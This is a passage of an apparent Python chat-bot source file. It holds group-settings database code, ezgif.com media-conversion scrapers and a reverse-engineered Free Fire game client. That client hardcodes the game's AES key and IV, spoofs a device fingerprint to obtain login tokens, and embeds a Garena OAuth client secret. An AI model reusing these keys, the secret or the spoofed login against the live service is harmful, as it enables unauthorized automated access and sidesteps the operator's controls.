			"fromExt": "png, jpg, jpeg, gif, jfif, pdf, webp, bmp, heif, heic, JPEG",
			"toExt": ".txt"
		}

		solve = self.session.post("https://imgtotext.net/image-to-text", data=payload)
		print(solve.json())
		try:
			solve_data = solve.json()
		except:
			solve_data = {}

		if not solve_data.get("text"):
			return None

		return "".join(solve_data["text"].strip().split())

class GroupSettingsDB:
	def __init__(self, conn, db_path="settings.db"):
		self.conn = conn
		self.data = {}  # Dictionary để lưu trữ dữ liệu nhóm
		self._create_tables()

	def _create_tables(self):
		cursor = self.conn.cursor()
		cursor.execute("""
            CREATE TABLE IF NOT EXISTS group_features (
                group_id     TEXT,
                feature_name TEXT,
                is_enabled   INTEGER DEFAULT 0,
                PRIMARY KEY (group_id, feature_name)
            )
        """)
		cursor.execute("""
            CREATE TABLE IF NOT EXISTS banned_words (
                group_id TEXT,
                word     TEXT,
                PRIMARY KEY (group_id, word)
            )
        """)
		cursor.execute("""
            CREATE TABLE IF NOT EXISTS blacklisted_users (
                group_id TEXT,
                user_id  TEXT,
                PRIMARY KEY (group_id, user_id)
            )
        """)
		cursor.execute("""
            CREATE TABLE IF NOT EXISTS whitelisted_users (
                group_id TEXT,
                user_id  TEXT,
                PRIMARY KEY (group_id, user_id)
            )
        """)
		cursor.execute("""
            CREATE TABLE IF NOT EXISTS admin_users (
                group_id TEXT,
                user_id  TEXT,
                PRIMARY KEY (group_id, user_id)
            )
        """)
		cursor.execute("""
            CREATE TABLE IF NOT EXISTS group_modes (
                group_id TEXT PRIMARY KEY,
                mode     TEXT DEFAULT 'only_admin'
            )
        """)
		self.conn.commit()

	def is_group_configured(self, group_id: str) -> bool:
		"""Kiểm tra xem group_id đã được cấu hình hay chưa."""
		cursor = self.conn.cursor()
		cursor.execute(
			"SELECT COUNT(*) FROM group_features WHERE group_id=?",
			(group_id,)
		)
		count = cursor.fetchone()[0]
		return count > 0

	def load_group_data(self, group_id: str):
		"""Tải toàn bộ dữ liệu của một nhóm từ database vào self.data."""
		cursor = self.conn.cursor()
		# Load features
		cursor.execute(
			"SELECT feature_name, is_enabled FROM group_features WHERE group_id=?",
			(group_id,)
		)
		features = {name: bool(flag) for name, flag in cursor.fetchall()}
		# Load banned words
		cursor.execute(
			"SELECT word FROM banned_words WHERE group_id=?",
			(group_id,)
		)
		banned_words = [w[0] for w in cursor.fetchall()]
		# Load blacklist
		cursor.execute(
			"SELECT user_id FROM blacklisted_users WHERE group_id=?",
			(group_id,)
		)
		blacklist = [u[0] for u in cursor.fetchall()]
		# Load whitelist
		cursor.execute(
			"SELECT user_id FROM whitelisted_users WHERE group_id=?",
			(group_id,)
		)
		whitelist = [u[0] for u in cursor.fetchall()]
		# Load admins
		cursor.execute(
			"SELECT user_id FROM admin_users WHERE group_id=?",
			(group_id,)
		)
		admins = [u[0] for u in cursor.fetchall()]
		# Load mode
		cursor.execute(
			"SELECT mode FROM group_modes WHERE group_id=?",
			(group_id,)
		)
		row = cursor.fetchone()
		mode = row[0] if row else default_mode
		# Lưu vào self.data
		self.data[group_id] = {
			'features': features,
			'banned_words': banned_words,
			'blacklist': blacklist,
			'whitelist': whitelist,
			'admins': admins,
			'mode': mode
		}

	def init_group_features(self, group_id: str) -> None:
		"""Khởi tạo các tính năng mặc định cho nhóm nếu chưa được cấu hình."""
		if not self.is_group_configured(group_id):
			cursor = self.conn.cursor()
			for feature in DEFAULT_FEATURES:
				cursor.execute(
					"INSERT OR IGNORE INTO group_features (group_id, feature_name, is_enabled) VALUES (?, ?, 0)",
					(group_id, feature)
				)
			cursor.execute(
				"INSERT OR IGNORE INTO group_modes (group_id, mode) VALUES (?, ?)",
				(group_id, default_mode)
			)
			self.conn.commit()
			# Khởi tạo dữ liệu trong self.data
			self.data[group_id] = {
				'features': {feature: False for feature in DEFAULT_FEATURES},
				'banned_words': [],
				'blacklist': [],
				'whitelist': [],
				'admins': [],
				'mode': default_mode
			}
		else:
			return

	def set_feature(self, group_id: str, feature: str, enabled: bool) -> None:
		cursor = self.conn.cursor()
		cursor.execute(
			"""
            INSERT INTO group_features (group_id, feature_name, is_enabled)
            VALUES (?, ?, ?)
            ON CONFLICT(group_id, feature_name)
            DO UPDATE SET is_enabled=excluded.is_enabled;
            """,
			(group_id, feature, 1 if enabled else 0)
		)
		self.conn.commit()
		# Cập nhật self.data
		if group_id not in self.data:
			self.load_group_data(group_id)
		self.data[group_id]['features'][feature] = enabled

	def set_all_features(self, thread_id, on):
		for i, enable in self.fetch_features(thread_id):
			self.set_feature(thread_id, i, on)

	def fetch_features(self, group_id: str) -> List[Tuple[str, bool]]:
		if group_id not in self.data:
			self.load_group_data(group_id)
		return list(self.data[group_id]['features'].items())

	def add_banned_word(self, group_id: str, word: str) -> None:
		cursor = self.conn.cursor()
		cursor.execute(
			"INSERT OR IGNORE INTO banned_words (group_id, word) VALUES (?, ?)",
			(group_id, word)
		)
		self.conn.commit()
		if group_id not in self.data:
			self.load_group_data(group_id)
		if word not in self.data[group_id]['banned_words']:
			self.data[group_id]['banned_words'].append(word)

	def remove_banned_word(self, group_id: str, word: str) -> None:
		cursor = self.conn.cursor()
		cursor.execute(
			"DELETE FROM banned_words WHERE group_id=? AND word=?",
			(group_id, word)
		)
		self.conn.commit()
		if group_id in self.data and word in self.data[group_id]['banned_words']:
			self.data[group_id]['banned_words'].remove(word)

	def fetch_banned_words(self, group_id: str) -> List[str]:
		if group_id not in self.data:
			self.load_group_data(group_id)
		return self.data[group_id]['banned_words']

	def add_blacklist(self, group_id: str, user_id: str) -> None:
		cursor = self.conn.cursor()
		user_id = str(user_id)
		cursor.execute(
			"INSERT OR IGNORE INTO blacklisted_users (group_id, user_id) VALUES (?, ?)",
			(group_id, user_id)
		)
		self.conn.commit()
		if group_id not in self.data:
			self.load_group_data(group_id)
		if user_id not in self.data[group_id]['blacklist']:
			self.data[group_id]['blacklist'].append(user_id)

	def remove_blacklist(self, group_id: str, user_id: str) -> None:
		cursor = self.conn.cursor()
		user_id = str(user_id)
		cursor.execute(
			"DELETE FROM blacklisted_users WHERE group_id=? AND user_id=?",
			(group_id, user_id)
		)
		self.conn.commit()
		if group_id in self.data and user_id in self.data[group_id]['blacklist']:
			self.data[group_id]['blacklist'].remove(user_id)

	def fetch_blacklist(self, group_id: str) -> List[str]:
		if group_id not in self.data:
			self.load_group_data(group_id)
		return self.data[group_id]['blacklist']

	def add_whitelist(self, group_id: str, user_id: str) -> None:
		cursor = self.conn.cursor()
		user_id = str(user_id)
		cursor.execute(
			"INSERT OR IGNORE INTO whitelisted_users (group_id, user_id) VALUES (?, ?)",
			(group_id, user_id)
		)
		self.conn.commit()
		if group_id not in self.data:
			self.load_group_data(group_id)
		if user_id not in self.data[group_id]['whitelist']:
			self.data[group_id]['whitelist'].append(user_id)

	def remove_whitelist(self, group_id: str, user_id: str) -> None:
		cursor = self.conn.cursor()
		user_id = str(user_id)
		cursor.execute(
			"DELETE FROM whitelisted_users WHERE group_id=? AND user_id=?",
			(group_id, user_id)
		)
		self.conn.commit()
		if group_id in self.data and user_id in self.data[group_id]['whitelist']:
			self.data[group_id]['whitelist'].remove(user_id)

	def fetch_whitelist(self, group_id: str) -> List[str]:
		if group_id not in self.data:
			self.load_group_data(group_id)
		return self.data[group_id]['whitelist']

	def add_admin(self, group_id: str, user_id: str) -> None:
		cursor = self.conn.cursor()
		user_id = str(user_id)
		cursor.execute(
			"INSERT OR IGNORE INTO admin_users (group_id, user_id) VALUES (?, ?)",
			(group_id, user_id)
		)
		self.conn.commit()
		if group_id not in self.data:
			self.load_group_data(group_id)
		if user_id not in self.data[group_id]['admins']:
			self.data[group_id]['admins'].append(user_id)

	def remove_admin(self, group_id: str, user_id: str) -> None:
		cursor = self.conn.cursor()
		user_id = str(user_id)
		cursor.execute(
			"DELETE FROM admin_users WHERE group_id=? AND user_id=?",
			(group_id, user_id)
		)
		self.conn.commit()
		if group_id in self.data and user_id in self.data[group_id]['admins']:
			self.data[group_id]['admins'].remove(user_id)

	def fetch_admins(self, group_id: str) -> List[str]:
		if group_id not in self.data:
			self.load_group_data(group_id)
		return self.data[group_id]['admins']

	def set_mode(self, group_id: str, mode: str) -> None:
		if mode not in MODES:
			raise ValueError(f"Invalid mode. Allowed: {MODES}")
		cursor = self.conn.cursor()
		cursor.execute(
			"INSERT INTO group_modes (group_id, mode) VALUES (?, ?)"
			" ON CONFLICT(group_id) DO UPDATE SET mode=excluded.mode",
			(group_id, mode)
		)
		self.conn.commit()
		if group_id not in self.data:
			self.load_group_data(group_id)
		self.data[group_id]['mode'] = mode

	def fetch_mode(self, group_id: str) -> str:
		if group_id not in self.data:
			self.load_group_data(group_id)
		return self.data[group_id]['mode']

	def close(self):
		self.conn.close()

class ConventTgs():
	def checkCondition(self, var):
		if not var:
			return False

	def uploadTgs(self, tgsData):
		headers = {
			"sec-ch-ua": "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\"",
			"sec-ch-ua-mobile": "?1",
			"upgrade-insecure-requests": "1",
			"origin": "https://ezgif.com",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36",
			"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "navigate",
			"sec-fetch-user": "?1",
			"sec-fetch-dest": "document",
			"referer": "https://ezgif.com/tgs-to-gif",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
			"Host": "ezgif.com"
		}
		payload = {"new-image-url": ""}
		files = [("new-image", tgsData)]
		response = requests.post("https://ezgif.com/tgs-to-gif", headers=headers, data=payload, files=files)
		response.raise_for_status()
		# print(response.headers)
		return self.tgsToGif(self.getTgsUrl(response.text))

	def uploadWebmUrl(self, url):
		headers = {
			"sec-ch-ua": "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\"",
			"sec-ch-ua-mobile": "?1",
			"upgrade-insecure-requests": "1",
			"origin": "https://ezgif.com",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36",
			"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "navigate",
			"sec-fetch-user": "?1",
			"sec-fetch-dest": "document",
			"referer": "https://ezgif.com/video-to-gif",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
			"Host": "ezgif.com"
		}

		data = {
			"new-image-url": url
		}

		files = {
			"new-image": ("", b"", "application/octet-stream")
		}
		response = requests.post("https://ezgif.com/video-to-gif", headers=headers, data=data, files=files, allow_redirects=False)
		if "Location" in response.headers:
			return response.headers["Location"]
		else:
			return False

	def webmToGif(self, webmUrl):
		# print(webmUrl)
		webmFileName = urlparse(webmUrl).path.split("/")[-1:]
		headers = {
			"sec-ch-ua": "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\"",
			"sec-ch-ua-platform": "\"Android\"",
			"sec-ch-ua-mobile": "?1",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36",
			"accept": "*/*",
			"origin": "https://ezgif.com",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
			"Host": "ezgif.com"
		}
		data = {
			"file": webmFileName,
			"start": "0",
			"end": str(BeautifulSoup(requests.get(f"https://ezgif.com/video-to-gif/{webmFileName}?ajax=true").text, "html.parser").find("input", {"name": "end"})["value"]),
			"size": "original",
			"fps": "10",
			"method": "ffmpeg",
			"ajax": "true"
		}
		response = requests.post(f"https://ezgif.com/video-to-gif/{webmFileName}?ajax=true", headers=headers, data=data)
		response.raise_for_status()

		img_url = None
		soup = BeautifulSoup(response.text, "html.parser")
		outfile_p = soup.find("p", class_="outfile")
		self.checkCondition(outfile_p)
		img_tag = outfile_p.find("img")
		if img_tag and img_tag.get("src"):
			img_url = img_tag["src"]
			if img_url.startswith("//"):
				img_url = "https:" + img_url

				return img_url

			else:
				return None
		else:
			return None



	def getTgsUrl(self, html_content):
		soup = BeautifulSoup(html_content, "html.parser")
		p_tag = soup.find("p", id="tsbt")
		# print(p_tag)
		self.checkCondition(p_tag)
		input_tag = p_tag.find("input", {"value": "Convert to GIF!"})
		# input_tag = p_tag.find("input", {"value": "Upload!"})
		# print(input_tag)
		self.checkCondition(input_tag)

		form = input_tag.find_parent("form")
		# print(form)
		if form and form.get("action"):
			form_url = form["action"]
			return form_url
		else:
			return None


	def tgsToGif(self, tgsUrl):
		tgsFileName = urlparse(tgsUrl).path.split("/")[-1:]

		headers = {
			"User-Agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36",
			"origin": "https://ezgif.com",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"referer": str(tgsUrl),
			"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5"
		}

		params = {
			"ajax": "true"
		}

		payload = {
			"file": tgsFileName,
			"ajax": "true"
		}

		response = requests.post(f"https://ezgif.com/tgs-to-gif/{tgsFileName}", headers=headers, params=params, data=payload)
		response.raise_for_status()

		img_url = None
		soup = BeautifulSoup(response.text, "html.parser")
		outfile_p = soup.find("p", class_="outfile")
		self.checkCondition(outfile_p)
		img_tag = outfile_p.find("img")
		if img_tag and img_tag.get("src"):
			img_url = img_tag["src"]
			if img_url.startswith("//"):
				img_url = "https:" + img_url

				return img_url

			else:
				return None
		else:
			return None

	def videoToGif(self, videoUrl):
		# print(videoUrl)
		videoFileName = urlparse(videoUrl).path.split("/")[-1:]
		headers = {
			"sec-ch-ua": "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\"",
			"sec-ch-ua-platform": "\"Android\"",
			"sec-ch-ua-mobile": "?1",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36",
			"accept": "*/*",
			"origin": "https://ezgif.com",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
			"Host": "ezgif.com"
		}
		data = {
			"file": videoFileName,
			"start": "0",
			"end": str(BeautifulSoup(requests.get(f"https://ezgif.com/video-to-gif/{videoFileName}?ajax=true").text, "html.parser").find("input", {"name": "end"})["value"]),
			"size": "original",
			"fps": "30",
			"method": "ffmpeg",
			"ajax": "true"
		}
		response = requests.post(f"https://ezgif.com/video-to-gif/{videoFileName}?ajax=true", headers=headers, data=data)
		response.raise_for_status()

		img_url = None
		soup = BeautifulSoup(response.text, "html.parser")
		outfile_p = soup.find("p", class_="outfile")
		self.checkCondition(outfile_p)
		img_tag = outfile_p.find("img")
		if img_tag and img_tag.get("src"):
			img_url = img_tag["src"]
			if img_url.startswith("//"):
				img_url = "https:" + img_url

				return img_url

			else:
				return None
		else:
			return None

	def uploadVideoData(self, data):
		url = "https://ezgif.com/video-to-gif"

		headers = {
			"cache-control": "max-age=0",
			"sec-ch-ua": "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\"",
			"sec-ch-ua-mobile": "?1",
			"sec-ch-ua-platform": "\"Android\"",
			"upgrade-insecure-requests": "1",
			"origin": "https://ezgif.com",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36",
			"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "navigate",
			"sec-fetch-user": "?1",
			"sec-fetch-dest": "document",
			"referer": "https://ezgif.com/video-to-gif",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5"
		}

		files = {
			"new-image": ("cc.mp4", data, "video/mp4")
		}
		data = {
			"new-image-url": ""
		}

		response = requests.post("https://ezgif.com/video-to-gif", headers=headers, data=data, files=files, allow_redirects=False)
		# print(response.headers)
		if "Location" in response.headers:
			# print(response.headers["Location"])
			return response.headers["Location"]
		else:
			return False

	def videoToWebp(self, videoUrl):
		# print(videoUrl)
		videoFileName = urlparse(videoUrl).path.split("/")[-1:]
		headers = {
			"sec-ch-ua": "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\"",
			"sec-ch-ua-platform": "\"Android\"",
			"sec-ch-ua-mobile": "?1",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36",
			"accept": "*/*",
			"origin": "https://ezgif.com",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
			"Host": "ezgif.com"
		}
		# print(f"https://ezgif.com/video-to-webp/{videoFileName}?ajax=true")
		# print(BeautifulSoup(requests.get(f"https://ezgif.com/video-to-webp/{videoFileName}?ajax=true").text, "html.parser").find("input", {"name": "end"}))
		data = {
			"file": videoFileName,
			"start": "0",
			"end": str(BeautifulSoup(requests.get(f"https://ezgif.com/video-to-webp/{videoFileName}?ajax=true").text, "html.parser").find("input", {"name": "end"})["value"]),
			"size": "original",
			"fps": "30",
			"loop": "on",
			"ajax": "true"
		}
		response = requests.post(f"https://ezgif.com/video-to-webp/{videoFileName}?ajax=true", headers=headers, data=data)
		response.raise_for_status()

		img_url = None
		soup = BeautifulSoup(response.text, "html.parser")
		outfile_p = soup.find("p", class_="outfile")
		self.checkCondition(outfile_p)
		img_tag = outfile_p.find("img")
		if img_tag and img_tag.get("src"):
			img_url = img_tag["src"]
			if img_url.startswith("//"):
				img_url = "https:" + img_url

				return img_url

			else:
				return None
		else:
			return None

	def uploadVideoDataWebp(self, data):
		url = "https://ezgif.com/video-to-webp"

		headers = {
			"cache-control": "max-age=0",
			"sec-ch-ua": "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\"",
			"sec-ch-ua-mobile": "?1",
			"sec-ch-ua-platform": "\"Android\"",
			"upgrade-insecure-requests": "1",
			"origin": "https://ezgif.com",
			"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36",
			"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "navigate",
			"sec-fetch-user": "?1",
			"sec-fetch-dest": "document",
			"referer": "https://ezgif.com/video-to-gif",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5"
		}

		files = {
			"new-image": ("cc.mp4", data, "video/mp4")
		}
		data = {
			"new-image-url": ""
		}

		response = requests.post(url, headers=headers, data=data, files=files, allow_redirects=False)
		# print(response.headers)
		if "Location" in response.headers:
			# print(response.headers["Location"])
			return response.headers["Location"]
		else:
			return False


class VrxxTools:
	def __init__(self):
		pass


	def fix_hex(self, hex):
		hex = hex.lower().replace(" ", "")

		return hex


	def dec_to_hex(self, decimal):
		decimal = hex(decimal)
		final_result = str(decimal)[2:]
		if len(final_result) == 1:
			final_result = "0" + final_result
			return final_result

		else:
			return final_result
		
	def parse_protobuf(self, data):
		offset = 0
		fields = {}
		while offset < len(data):
			key, offset = self.decode_varint(data, offset)
			field_number = key >> 3
			wire_type = key & 0x07
			if wire_type == 0:
				value, offset = self.decode_varint(data, offset)
			else:
				raise NotImplementedError(f"Wire type {wire_type} not supported.")
			fields[field_number] = value
		return fields
		
	def decode_varint(self, data, offset=0):
		value = 0
		shift = 0
		while True:
			byte = data[offset]
			offset += 1
			value |= (byte & 0x7F) << shift
			if not (byte & 0x80):
				break
			shift += 7
		return value, offset
		
	def encode_varint(self, number):
		if number < 0:
			raise ValueError("Number must be non-negative")

		encoded_bytes = []

		while True:
			byte = number & 0x7F
			number >>= 7

			if number:
				byte |= 0x80
			encoded_bytes.append(byte)

			if not number:
				break

		return bytes(encoded_bytes)


	def create_varint_field(self, field_number, value):
		field_header = (field_number << 3) | 0# Varint wire type is 0
		return self.encode_varint(field_header) + self.encode_varint(value)


	def create_length_delimited_field(self, field_number, value):
		field_header = (field_number << 3) | 2# Length-delimited wire type is 2
		encoded_value = value.encode() if isinstance(value, str) else value
		return self.encode_varint(field_header) + self.encode_varint(len(encoded_value)) + encoded_value


	def create_protobuf_packet(self, fields):
		packet = bytearray()

		for field, value in fields.items():
			if isinstance(value, dict):
				nested_packet = self.create_protobuf_packet(value)
				packet.extend(self.create_length_delimited_field(field, nested_packet))

			elif isinstance(value, int):
				packet.extend(self.create_varint_field(field, value))

			elif isinstance(value, str) or isinstance(value, bytes):
				packet.extend(self.create_length_delimited_field(field, value))

		return packet

	def decode_varint(self, data, offset=0):
		value = 0
		shift = 0
		while True:
			byte = data[offset]
			offset += 1
			value |= (byte & 0x7F) << shift
			if not (byte & 0x80):
				break
			shift += 7
		return value, offset

	def decode_length_delimited(self, data, offset):
		length, offset = self.decode_varint(data, offset)
		value = data[offset:offset + length]
		return value, offset + length

	def decode_protobuf_packet(self, data):
		offset = 0
		fields = {}
		while offset < len(data):
			field_header, offset = self.decode_varint(data, offset)
			field_number = field_header >> 3
			wire_type = field_header & 0x07
			if wire_type == 0:  # Varint
				value, offset = self.decode_varint(data, offset)
			elif wire_type == 2:  # Length-delimited
				value, offset = self.decode_length_delimited(data, offset)
				try:
					value = value.decode()  # Nếu là chuỗi
				except UnicodeDecodeError:
					nested_fields = self.decode_protobuf_packet(value)  # Nếu là protobuf lồng nhau
					if nested_fields:
						value = nested_fields
			fields[field_number] = value
		return fields

	def parse_my_message(self, serialized_data):
		# Parse the serialized data into a MyMessage object
		my_message = my_message_pb2.MyMessage()
		my_message.ParseFromString(serialized_data)

		# Extract the fields
		timestamp = my_message.field21
		key = my_message.field22
		iv = my_message.field23

		# Convert timestamp to a single integer
		timestamp_obj = Timestamp()
		timestamp_obj.FromNanoseconds(timestamp)
		timestamp_seconds = timestamp_obj.seconds
		timestamp_nanos = timestamp_obj.nanos

		# Combine seconds and nanoseconds into a single integer
		combined_timestamp = timestamp_seconds * 1_000_000_000 + timestamp_nanos

		return combined_timestamp, key, iv


	def parse_results(self, parsed_results):
		result_dict = {}

		for result in parsed_results:
			field_data = {}
			field_data["wire_type"] = result.wire_type

			if result.wire_type == "varint":
				field_data["data"] = result.data

			if result.wire_type == "string":
				field_data["data"] = result.data

			if result.wire_type == "bytes":
				field_data["data"] = result.data

			elif result.wire_type == "length_delimited":
				field_data["data"] = self.parse_results(result.data.results)

			result_dict[result.field] = field_data

		return result_dict


	def parsed_results_to_dict(self, parsed_results):
		result_dict = {}
		for parsed_result in parsed_results.results:
			if hasattr(parsed_result.data, "results"):
				result_dict[parsed_result.field] = self.parsed_results_to_dict(parsed_result.data)

			else:
				result_dict[parsed_result.field] = parsed_result.data

		return result_dict


	def Decrypt_API(self, cipher_text):
		key = bytes([89, 103, 38, 116, 99, 37, 68, 69, 117, 104, 54, 37, 90, 99, 94, 56])
		iv = bytes([54, 111, 121, 90, 68, 114, 50, 50, 69, 51, 121, 99, 104, 106, 77, 37])
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plain_text = unpad(cipher.decrypt(cipher_text), AES.block_size)

		return plain_text


	def Encrypt_API(self, plain_text):
		plain_text = bytes.fromhex(plain_text)
		key = bytes([89, 103, 38, 116, 99, 37, 68, 69, 117, 104, 54, 37, 90, 99, 94, 56])
		iv = bytes([54, 111, 121, 90, 68, 114, 50, 50, 69, 51, 121, 99, 104, 106, 77, 37])
		cipher = AES.new(key, AES.MODE_CBC, iv)
		cipher_text = cipher.encrypt(pad(plain_text, AES.block_size))

		return cipher_text.hex()


	def Decrypt_Packet(self, packet, key, iv):
		packet = bytes.fromhex(packet)
		key, iv = key, iv
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plain_text = unpad(cipher.decrypt(packet), AES.block_size)

		return plain_text.hex()


	def Encrypt_Packet(self, plain_text, key, iv):
		plain_text = bytes.fromhex(plain_text)
		key, iv = key, iv
		cipher = AES.new(key, AES.MODE_CBC, iv)
		cipher_text = cipher.encrypt(pad(plain_text, AES.block_size))

		return cipher_text.hex()


	def Decrypt_ID(self, encoded_bytes):
		encoded_bytes = bytes.fromhex(encoded_bytes)
		number, shift = 0, 0

		for byte in encoded_bytes:
			value = byte & 0x7F
			number |= value << shift
			shift += 7

			if not byte & 0x80:
				break

		return number


	def Encrypt_ID(self, number):
		number = int(number)
		encoded_bytes = []

		while True:
			byte = number & 0x7F
			number >>= 7

			if number:
				byte |= 0x80
			encoded_bytes.append(byte)

			if not number:
				break

		return bytes(encoded_bytes).hex()


	def MajorLogin(self, access_token, open_id, full=False):
		now = datetime.datetime.now()
		formatted_time = now.strftime("%Y-%m-%d %H:%M:%S")
		try:
			payload = {
				3: "2025-11-08 12:23:42",
				4: "free fire",
				5: 1,
				7: "2.118.7",
				8: "Android OS 10 / API-29 (QP1A.190711.020/2021040000)",
				9: "Handheld",
				10: "Viettel",
				11: "WIFI",
				12: 1625,
				13: 750,
				14: "408",
				15: "ARM64 FP ASIMD AES | 1989 | 8",
				16: 3656,
				17: "Mali-G72 MP3",
				18: "OpenGL ES 3.2 v1.r20p0-01rel0.5a1b26bb5d6f760a7fe004c7d2efd431",
				20: "1.54.204.123",
				21: "vn",
				22: "70039ce2d75aec6fab9e40ccd1727c59",
				23: "4",
				24: "Handheld",
				25: "OPPO CPH1825",
				29: "7a2ecd52d394a7e9e48d23f9abb3911a3c0954a1d44c5e5fa1eabfe3460af9ad",
				30: 1,
				41: "Viettel",
				42: "WIFI",
				57: "1ac4b80ecf0478a44203bf8fac6120f5",
				60: 50983,
				61: 2081,
				62: 4169,
				63: 11,
				64: 2425,
				65: 51183,
				66: 2081,
				67: 50983,
				73: 1,
				74: "/data/app/com.dts.freefiremax-KIlkUFMcC-7P-ko6j0qJLw==/lib/arm64",
				76: 2,
				77: "b4d2689433917e66100ba91db790bf37|/data/app/com.dts.freefiremax-KIlkUFMcC-7P-ko6j0qJLw==/base.apk",
				78: 2,
				79: 2,
				81: "64",
				83: "2019116017",
				85: 3,
				86: "OpenGLES3",
				87: 16383,
				88: 4,
				90: "Ho Chi Minh City",
				91: "SG",
				92: 46919,
				93: "android_max",
				94: "KqsHTzXx5OmBRt6oPCAmO4wrr4aUmsok200PhiPG1W64NTYDJGnQL2mk/l0D00nVuqqtRgyAI9B3vBa7tdb1SFNVYY1NpAoLq8Nm/uzF+ltUWvLu",
				97: 1,
				98: 1,
				99: "4",
				100: "4",
				102: ""
			}
			payload[3] = formatted_time
			payload[22] = open_id
			payload[29] = access_token
			# print(payload)
			payload = self.create_protobuf_packet(payload)
			payload = payload.hex()
			payload = self.Encrypt_API(payload)
			headers = {
				"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
				"Connection": "Close",
				"Accept-Encoding": "gzip",
				"Expect": "100-continue",
				"Authorization": "Bearer",
				"X-Unity-Version": "2018.4.11f1",
				"X-GA": "v1 1",
				"ReleaseVersion": "OB51",
				"Content-Type": "application/x-www-form-urlencoded"
			}
	
			encrypt_data = bytes.fromhex(payload)
	
			response = requests.post("https://loginbp.ggblueshark.com/MajorLogin", headers=headers, data=encrypt_data)
			print(response.content)
			if response.status_code == 200:
				if len(response.text) < 10:
					return False
	
				if full:
					return response.content
	
				token = response.text[response.text.find("eyJhbGciOiJIUzI1NiIsInN2ciI6I"):-1]
				second_dot_index = token.find(".", token.find(".") + 1)
				token = token[:second_dot_index + 44]
	
				return token
	
			else:
				return False
		except Exception:
			traceback.print_exc()

		# return response.content


	def getGuestAccessToken(self, uid, password):
		headers = {
			"Host": "100067.connect.garena.com",
			"User-Agent": "GarenaMSDK/4.0.19P4(G011A ;Android 9;en;US;)",
			"Content-Type": "application/x-www-form-urlencoded",
			"Accept-Encoding": "gzip, deflate, br",
			"Connection": "close"
		}

		data = {
			"uid": str(uid),
			"password": str(password),
			"response_type": "token",
			"client_type": "2",
			"client_secret": "2ee44819e9b4598845141067b281621874d0d5d7af9d8f7e00c1e54715b7d1e3",
			"client_id": "100067"
		}

		response = requests.post("https://100067.connect.garena.com/oauth/guest/token/grant", headers=headers, data=data)
		data = response.json()
		# print(data)
		access_token = data.get("access_token")
